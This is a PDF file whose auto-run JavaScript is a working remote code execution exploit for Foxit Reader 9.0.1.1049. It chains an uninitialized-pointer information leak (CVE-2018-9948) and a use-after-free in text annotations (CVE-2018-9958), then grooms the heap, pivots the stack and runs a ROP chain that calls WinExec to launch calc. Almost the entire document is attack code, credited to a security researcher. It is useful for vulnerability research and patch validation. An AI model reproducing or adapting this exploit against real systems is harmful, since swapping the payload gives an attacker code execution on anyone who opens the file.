1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 |
%PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( /* Foxit Reader Remote Code Execution Exploit ========================================== Written by: Steven Seeley (mr_me) of Source Incite Date: 22/06/2018 Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f) Tested on: 1. Windows 7 Ultimate x86 build 6.1.7601 sp1 2. Windows 10 Pro x86 v1803 build 10.0.17134 Vulnerabilities leveraged: 1. CVE-2018-9948 2. CVE-2018-9958 */ var heap_ptr = 0; var foxit_base = 0; var pwn_array= []; function prepare_heap(size){ /* This function prepares the heap state between allocations and frees to get a predictable memory address back. */ var arr = new Array(size); for(var i = 0; i < size; i++){ arr[i] = this.addAnnot({type: "Text"});; if (typeof arr[i] == "object"){ arr[i].destroy(); } } } function gc() { /* This is a simple garbage collector, written by the notorious @saelo Greetz, mi amigo. */ const maxMallocBytes = 128 * 0x100000; for (var i = 0; i < 3; i++) { var x = new ArrayBuffer(maxMallocBytes); } } function alloc_at_leak(){ /* This is the function that allocates at the leaked address */ for (var i = 0; i < 0x64; i++){ pwn_array[i] = new Int32Array(new ArrayBuffer(0x40)); } } function control_memory(){ /* This is the function that fills the memory address that we leaked */ for (var i = 0; i < 0x64; i++){ for (var j = 0; j < pwn_array[i].length; j++){ pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4 } } } function leak_vtable(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found by: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); gc(); // kinda defeat lfh randomization in win 10 prepare_heap(0x400); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // leak the vtable var leaked = stolen[0] & 0xffff0000; // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68) foxit_base = leaked - 0x01f50000; } function leak_heap_chunk(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found by: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); // kinda defeat lfh randomization in win 10 prepare_heap(0x400); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // alloc at the freed location alloc_at_leak(); // leak a heap chunk of size 0x40 heap_ptr = stolen[1]; } function reclaim(){ /* This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability. All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68) */ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = heap_ptr;// pointer to our stack pivot from the TypedArray leak rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret rop[0x02] = 0x72727272;// junk rop[0x03] = foxit_base + 0x00001450// pop ebp; ret rop[0x04] = 0xffffffff;// ret of WinExec rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret rop[0x0a] = foxit_base + 0x0041c6ca; // ret rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret rop[0x0c] = 0x636c6163;// calc rop[0x0d] = 0x00000000;// adios, amigo for (var j = 0x0e; j < rop.length; j++) { rop[j] = 0x71727374; } } } function trigger_uaf(){ /* Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958 Found by: Steven Seeley (mr_me) of Source Incite */ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { // free that.getAnnot(0, "uaf").destroy(); // reclaim freed memory reclaim(); return 1; } } }); // re-use a.point = arr; } function main(){ // 1. Leak a heap chunk of size 0x40 leak_heap_chunk(); // 2. Leak vtable and calculate the base of Foxit Reader leak_vtable(); // 3. Then fill the memory region from step 1 with a stack pivot control_memory(); // 4. Trigger the uaf, reclaim the memory, pivot to rop and win trigger_uaf(); } if (app.platform == "WIN"){ if (app.isFoxit == "Foxit Reader"){ if (app.appFoxitVersion == "9.0.1.1049"){ main(); } } } )>> trailer <</Root 1 0 R>> |